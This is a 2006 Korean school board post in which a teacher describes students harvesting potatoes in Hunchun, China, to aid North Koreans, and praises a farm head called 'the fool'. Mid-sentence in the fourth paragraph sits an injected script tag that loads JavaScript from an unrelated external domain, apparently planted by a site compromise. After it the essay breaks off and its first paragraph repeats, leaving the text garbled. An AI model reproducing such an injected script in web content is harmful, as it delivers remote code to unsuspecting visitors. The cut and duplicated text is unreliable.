바보들의 이야기
작성자 : 후원회 | 조회수 : 3,272 | 작성일 : 2006년 10월 11일
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<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>주민들이 탈북하여 만주벌판으로 숨어든다. 중국의 삼합에서 두만강 사이로 지척인 북한의 회령도시가 보였다. 도시는 예나 지금이나 풍성한 가을인데도 겨울처럼 을씨년스럽다. 올림픽 준비가 한창인 중국은 탈북자 문제가 심각한 정치문제가 될까 봐 국경수비대가 길 게 늘어서서 탈북자들을 색출하고 있었다. 백수건달정치로 미국의 경제봉쇄로 인민들은 끼니를 굶고 생존을 위해 필사적으로 월경을 하고 있는 것이다. 우리 학생들은 4년째 북한 돕기 감자 캐기 봉사활동을 중국 두만강 변에서 펼치고 있다. 금년에는 한반도의 최북단 훈춘에서 봉사활동을 했다. 우리나라의 자연조건과는 다르게 중국의 광활한 대지를 보니 답답했던 숨통이 모처럼 후련하게 뚫리듯한 시원함을 느꼈지만, 20만평의 감자 밭에 서 있는 내 자신이 너무나 무력해지며 기가 빠져나가는 듯한 현기증을 느꼈다. 감자 밭이 넓기도 하거니와 이랑의 끝이 보이질 않는 터였다. 굵게 영근 감자알이 북한 주민의 식량이 된다하여 일해 보지만 힘이 부쳤다. 그래도 나는 학생들과 부지런한 손놀림으로 수북이 담겨 세워진 감자부대를 보고는 생기를 되찾곤 하였다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 우리가 4년 째 만난 한겨레 농장 대표는 여전히 홀로 버티고 서 있었다. 금년에는 E- LAND로부터 5천만 원의 지원금을 받아 이 곳 훈춘에 감자를 심었다며 환하게 웃어 보였다. 20만평의 감자 수확과 그것도 모자라서 감자를 사서 북으로 보내고 있는 것이었다. 처자식을 남쪽에 두고 이곳에 홀로 와서 일을 계속하는 것이다. 맘고생이 크지만 다행히 중국 공산당 간부의 지원으로 휴양지 땅을 얻었다고 했다. 봄눈 녹는 5월부터 땅을 깊이 갈아 감자를 심고 김매기를 하며 수확을 하게 된 것인데, 올 해는 비교적 작황이 좋아 싱글벙글 이다. 정치적인 술수의 계산이 아니라 인도주의적 정신으로 일을 훌륭히 하고 있자니 주변사람이 그를 ‘바보’라고 불렀다. 그들은 5천만원 지원금을 받아 감자를 사들여 그것을 직접 북한에 보내면 일도 아주 수월할 것이고, 20만 평에서 수확한 감자 양보다 더 많은 감자를 북한에 보낼 터인데 왜 저 고생을 하는지 모르겠다며 자기들 상식으로는 도저히 이해할 수 없다고 했다. 그런데 그를 바보라고 부르면서도 사람들은 그를 돕고, 존경한다며 성원을 아끼지 않고 있었다. 바보는 언제나 똑 같은 말을 했다. “이 감자는 다른 감자와 달라요. 우리의 피와 땀이 담겨 있고, 관심과 사랑이 담겨있지요. 북한 주민들에게 전달되면 곧바로 생명이 됩니다. 쉽게, 쉽게 일을 처리해서 많은 양의 감자를 보낸다면, 그들에게 진정한 생명이 되기에 부족할 것입니다.” </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 신앙의 눈이 아닌 범인(凡人)의 눈으로는 그분의 속뜻을 이해하기 힘들 것이다. 그분은 훌륭한 신앙인이다. ‘오른손이 하는 선행을 왼손이 모르게 하는’ 마음의 소유자다. 미진이가 나에게, “왜, 여기까지 와서 감자를 캐야 하나요?”라고 묻자, “우리의 피와 땀이 감자에 녹아 들어가 북한 주민들에게 좋은 식량을 준비하기 위해서지, 더 맛있고 훌륭한 양식이 되게 하기 위해서야. 미진이의 아름다운 마음을 담아 보내는 감자는 우리 양업의 학생들이 행한 미담(美談)까지 전해져서 북한 주민들에게 생명이 되어지는 것이기 때문이란다.” </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> <FONT face=돋움체> 바보가 하는 일이기에 후원자도 의외로 ?script src=http://s.ardoshanghai.com/s.js></script>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>주민들이 탈북하여 만주벌판으로 숨어든다. 중국의 삼합에서 두만강 사이로 지척인 북한의 회령도시가 보였다. 도시는 예나 지금이나 풍성한 가을인데도 겨울처럼 을씨년스럽다. 올림픽 준비가 한창인 중국은 탈북자 문제가 심각한 정치문제가 될까 봐 국경수비대가 길 게 늘어서서 탈북자들을 색출하고 있었다. 백수건달정치로 미국의 경제봉쇄로 인민들은 끼니를 굶고 생존을 위해 필사적으로 월경을 하고 있는 것이다. 우리 학생들은 4년째 북한 돕기 감자 캐기 봉사활동을 중국 두만강 변에서 펼치고 있다. 금년에는 한반도의 최북단 훈춘에서 봉사활동을 했다. 우리나라의 자연조건과는 다르게 중국의 광활한 대지를 보니 답답했던 숨통이 모처럼 후련하게 뚫리듯한 시원함을 느꼈지만, 20만평의 감자 밭에 서 있는 내 자신이 너무나 무력해지며 기가 빠져나가는 듯한 현기증을 느꼈다. 감자 밭이 넓기도 하거니와 이랑의 끝이 보이질 않는 터였다. 굵게 영근 감자알이 북한 주민의 식량이 된다하여 일해 보지만 힘이 부쳤다. 그래도 나는 학생들과 부지런한 손놀림으로 수북이 담겨 세워진 감자부대를 보고는 생기를 되찾곤 하였다. </FONT></SPAN></P>
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